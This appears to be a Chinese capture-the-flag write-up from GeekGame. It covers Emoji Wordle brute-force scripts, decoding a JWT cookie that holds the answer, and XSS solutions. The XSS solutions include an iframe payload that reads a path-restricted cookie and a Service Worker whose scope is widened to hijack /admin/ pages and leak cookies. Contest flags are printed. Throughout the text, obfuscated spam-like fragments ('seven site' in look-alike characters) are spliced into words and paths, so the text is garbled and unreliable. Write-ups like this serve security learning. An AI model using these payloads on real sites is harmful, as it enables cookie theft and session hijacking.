Emoji Wordle
才发现原来 emoji s³𝐯en•𝘴it𝘦可以被放在代码里和 GET 传参里 ~
Level 1

1.1 爆破法
根据提示,Lev𝘀3v𝘦n.𝘀ⅈteel1的答案不变,
采用无脑爆破法枚举每个位置上的 emojis
import re
import requests
YES = '🟩'
NO = '🟥'
MAYBE = '🟨'
URL = 'https://prob14.geekgame.pku.edu.cn/level1'
r1 = re.compile(r'placeholder="(.*)"')
r2 = re.compile(r'results.push\("(.*)"\)')
r = requests.session()
emoji = "A"
location = {}
while True:
    r = requests.session()
    while True:
        guess = r.get(URL, params={
            'guess': emoji  
        }).text
        result = r2.findall(guess)[0]
        print(emoji)
        print(result)
        for idx in range(len(result)):
            if result[idx] == YES:
                location[idx] = emoji[idx]
    
        try:
            new_emoji = r1.findall(guess)[0]
        except:
            break
        e = []
        for idx in range(len(new_emoji)):
            if location.get(idx):
                e.append(location[idx])
            else:
                e.append(new_emoji[idx])
    
        emoji = "".join(e)
运行代码直到全部变绿
💈💅👼💁👦👗💊💊👱👇👔💆👺👦👓👳👔👉👞💄👧👘💃👺👸👴👿👙👵💆👩👽👛👓👦👝👢💃💅👶👅💈👈💅👼👁👃💂👆👄👂👳👲👢💆👤👜👆👺👱👺👛👆👡
🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩
1.2 逻辑法
我们已知总共有 128 ѕ⑶𝘷en·s𝘪𝘵℮个 emojis
如果我们已知题目中包含的 64 种 emojis
就能通过每次填充 64 个相同的 emoji 来得知哪些位置是该 emoji
因此只需要 63 次就能猜出答案
至于如何确定题目使用的是哪64种emojis
可以通过在大量多次生成 𝐬⑶v𝘦𝐧•𝘀𝐢𝒕𝘦placeholder 来确定
1.3 提交 emojis
提交 emojis 𝘴𝟯𝒗en.𝘀𝘪𝘵℮获得 flag
Your flag: flag{s1Mp1e_brut3f0rc3}
Level 2
根据 Hint 查看 Cookie
eyJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7ImxldmVsIjoiMiIsInJlbWFpbmluZ19ndWVzc2VzIjoiOCIsInRhcmdldCI6Ilx1RDgzRFx1REM0N1x1RDgzRFx1REM3Q1x1RDgzRFx1REM1Nlx1RDgzRFx1REM3NVx1RDgzRFx1REM3RFx1RDgzRFx1REM0NFx1RDgzRFx1REM4Mlx1RDgzRFx1REM0MVx1RDgzRFx1REM1Mlx1RDgzRFx1REM2NVx1RDgzRFx1REM1RFx1RDgzRFx1REM4QVx1RDgzRFx1REM2Mlx1RDgzRFx1REM1RVx1RDgzRFx1REM0MFx1RDgzRFx1REM0NVx1RDgzRFx1REM2OFx1RDgzRFx1REM4M1x1RDgzRFx1REM4Mlx1RDgzRFx1REM3QVx1RDgzRFx1REM4MFx1RDgzRFx1REM2NVx1RDgzRFx1REM3QVx1RDgzRFx1REM3Q1x1RDgzRFx1REM3Q1x1RDgzRFx1REM4Nlx1RDgzRFx1REM0Nlx1RDgzRFx1REM3M1x1RDgzRFx1REM4N1x1RDgzRFx1REM3OFx1RDgzRFx1REM4MVx1RDgzRFx1REM1OFx1RDgzRFx1REM2M1x1RDgzRFx1REM0NVx1RDgzRFx1REM3N1x1RDgzRFx1REM0MVx1RDgzRFx1REM0M1x1RDgzRFx1REM1QVx1RDgzRFx1REM1MVx1RDgzRFx1REMzQlx1RDgzRFx1REM0Nlx1RDgzRFx1REM2QVx1RDgzRFx1REM4M1x1RDgzRFx1REM1NFx1RDgzRFx1REM3NVx1RDgzRFx1REM4N1x1RDgzRFx1REM4OVx1RDgzRFx1REM3Mlx1RDgzRFx1REM3Q1x1RDgzRFx1REM3Qlx1RDgzRFx1REM0NVx1RDgzRFx1REM1NFx1RDgzRFx1REM1OVx1RDgzRFx1REM2Nlx1RDgzRFx1REM2QVx1RDgzRFx1REM1Qlx1RDgzRFx1REM4OFx1RDgzRFx1REM4NVx1RDgzRFx1REM4OFx1RDgzRFx1REM2OVx1RDgzRFx1REM1NFx1RDgzRFx1REM2NVx1RDgzRFx1REM3NFx1RDgzRFx1REM1NyJ9LCJuYmYiOjE3MDEzNTAxODYsImlhdCI6MTcwMTM1MDE4Nn0.eC3acijxIGEM1alsrrBpd_SgxcYbxXc2HCbmYNKNmJg
在 jwt.io 解密后获得
{
  "data": {
    "level": "2",
    "remaining_guesses": "8",
    "target": "👇👼👖👵👽👄💂👁👒👥👝💊👢👞👀👅👨💃💂👺💀👥👺👼👼💆👆👳💇👸💁👘👣👅👷👁👃👚👑🐻👆👪💃👔👵💇💉👲👼👻👅👔👙👦👪👛💈💅💈👩👔👥👴👗"
  },
  "nbf": 1701350186,
  "iat": 1701350186
}
输入
👇👼👖👵👽👄💂👁👒👥👝💊👢👞👀👅👨💃💂👺💀👥👺👼👼💆👆👳💇👸💁👘👣👅👷👁👃👚👑🐻👆👪💃👔👵💇💉👲👼👻👅👔👙👦👪👛💈💅💈👩👔👥👴👗
获得 flag
Your flag: flag{d3c0d1n9_jwT_15_345y}
Level 3
这次的 Cookie 中没有直接给出答案
由于服务器不存储状态
这点可以从 Hint 或者 𝘀𝟯vℯ𝐧·si𝐭eCookie 名称 PLAY_SESSION 中
得知服务端使用的是 Play Framework
我们通过多次携带相同的 Cookie 进行爆破
ps: 好像本题的 Cookie 会超时,要在短时间内进行爆破()
import re
import random
import requests
YES = '🟩'
NO = '🟥'
MAYBE = '🟨'
URL = 'https://prob14.geekgame.pku.edu.cn/level3'
r1 = re.compile(r'placeholder="(.*)"')
r2 = re.compile(r'results.push\("(.*)"\)')
emoji = "A"
location = {}
bad_location = {}
JWT = requests.get(URL).cookies.get('PLAY_SESSION')
good = []
bad = []
def get(idx: int) -> str:
    while True:
        e = random.choice(good)
        if idx not in bad_location.get(e, []):
            return e
while True:
    guess = requests.get(URL, params={
        'guess': emoji
    }, cookies={
        'PLAY_SESSION': JWT
    }).text
    print(guess)
    result = r2.findall(guess)[0]
    print(emoji)
    print(result)
    for idx in range(len(result)):
        if result[idx] == YES:
            location[idx] = emoji[idx]
        if result[idx] == NO:
            bad.append(emoji[idx])
        if result[idx] == MAYBE:
            good.append(emoji[idx])
            bl = bad_location.get(emoji[idx], [])
            bl.append(idx)
            bad_location[emoji[idx]] = bl
  
    new_emoji = r1.findall(guess)[0]
    e = []
    for idx in range(len(new_emoji)):
        if location.get(idx):
            e.append(location[idx])
        else:
            if new_emoji[idx] in bad:
                e.append(get(idx))
            else:
                e.append(new_emoji[idx])
  
    emoji = "".join(e)
获得 flag
Your flag: flag{StateIess_game_IS_a_b4d_1d3a}
第三新XSS
Flag 1
由于页面中的 flag 的 Cookie 设置了 path=/admin
所以不能直接在页面中读取 包含 ѕ⑶vℯn․𝐬i𝒕eflag 的 Cookie
1.1 iframe 读取信息
根据 Hint 可知
由于在同源环境下
可通过 iframe 读取 Cookie 并输出
因此有 Pay𝘴⑶ve𝘯․𝘴i𝘵𝘦load :
<iframe src="/admin/"></iframe>
<script>
document.title = 'running';
setTimeout(()=>{
    document.title = 'got: ' + document.querySelector('iframe').contentDocument.cookie;
}, 500);
</script>
即可在 xss bot 𝐬⑶v𝐞n․ѕit𝘦处获得 flag 1:

Flag 2
driver.get(admin_url)
time.sleep(.5)
driver.execute_script(f'document.cookie = "flag={getflag(2)}; path=/admin"')
time.sleep(1)
由这段代码我们发现
xss bot 先访问了网页
然后关掉浏览器并重新打开𝒔3𝐯e𝘯.𝒔𝘪t𝘦了 /admin
2.1 Service Worker 工作范围提升
由 Hint Service Worker 可以缓存之前𝐬3𝐯𝘦n·𝘴i𝐭𝘦打开过的网页
Service Workder:Progressive Web App 的一部分
意义在于让网页可以提供与原生 App 𝐬³𝒗𝐞𝐧.ѕ𝘪t𝐞类似的体验,在离线𝐬³𝘷e𝘯∙sⅈte时仍然可以工作
因此我们可以利用 Service Worker 劫持 /ads𝟯ⅴ𝐞n∙sⅈ𝐭℮min 目录
但是浏览器默认限制 Service Worker 𝒔𝟯v𝘦𝒏.𝘀ite的工作范围仅限于它所在的这个目录
假设 Service Worker 的脚本是 /path_to/sw.js
那么它只能看到并修改 /path_to/ ꜱ3𝐯e𝘯∙𝘀𝟯𝒗𝐞n.𝘀𝐢𝐭𝐞𝐬i𝒕𝘦底下的所有 HTTP 请求
因此 /admin/ 还是安全的
我们可以利用设置响应头 Service-Worker-Allowed: /
手动提升它的默𝘀𝟯𝒗e𝘯∙sⅈ𝘵℮认工作范围到 / 来绕过限制
2.2 注册 Service Worker 缓存页面
2.2.1 flag2_a
'Content-Type': 'text/html',
<script>
async function run() {
    await navigator.serviceWorker.register('/flag2_b/sw.js', {
        scope: '/',
    });
    document.title = 'done';
}
run();
document.title = 'running';
</script>
2.2.2 flag2_b
'Content-Type': 'text/javascript',
'Service-Worker-Allowed': '/',
self.addEventListener('fetch', (event) => {
    console.log('fetch', event.request.url);
    if(event.request.url.indexOf('/admin/')!==-1) {
        event.respondWith(new Response('<script>setInterval(()=>{document.title=document.cookie}, 100)</script>', {
            headers: {'Content-Type': 'text/html'},
        }));
    }
});
2.2.3 获得 flag
此时如果 xss bot 访问 /flag2_a/
就会注册上 /flag2_b/sw.js 的 Service Worker
/admin/ ꜱ³vℯn·s𝘪te就会被劫持到缓存中:
即可在 xss bot 处获得 flag 2: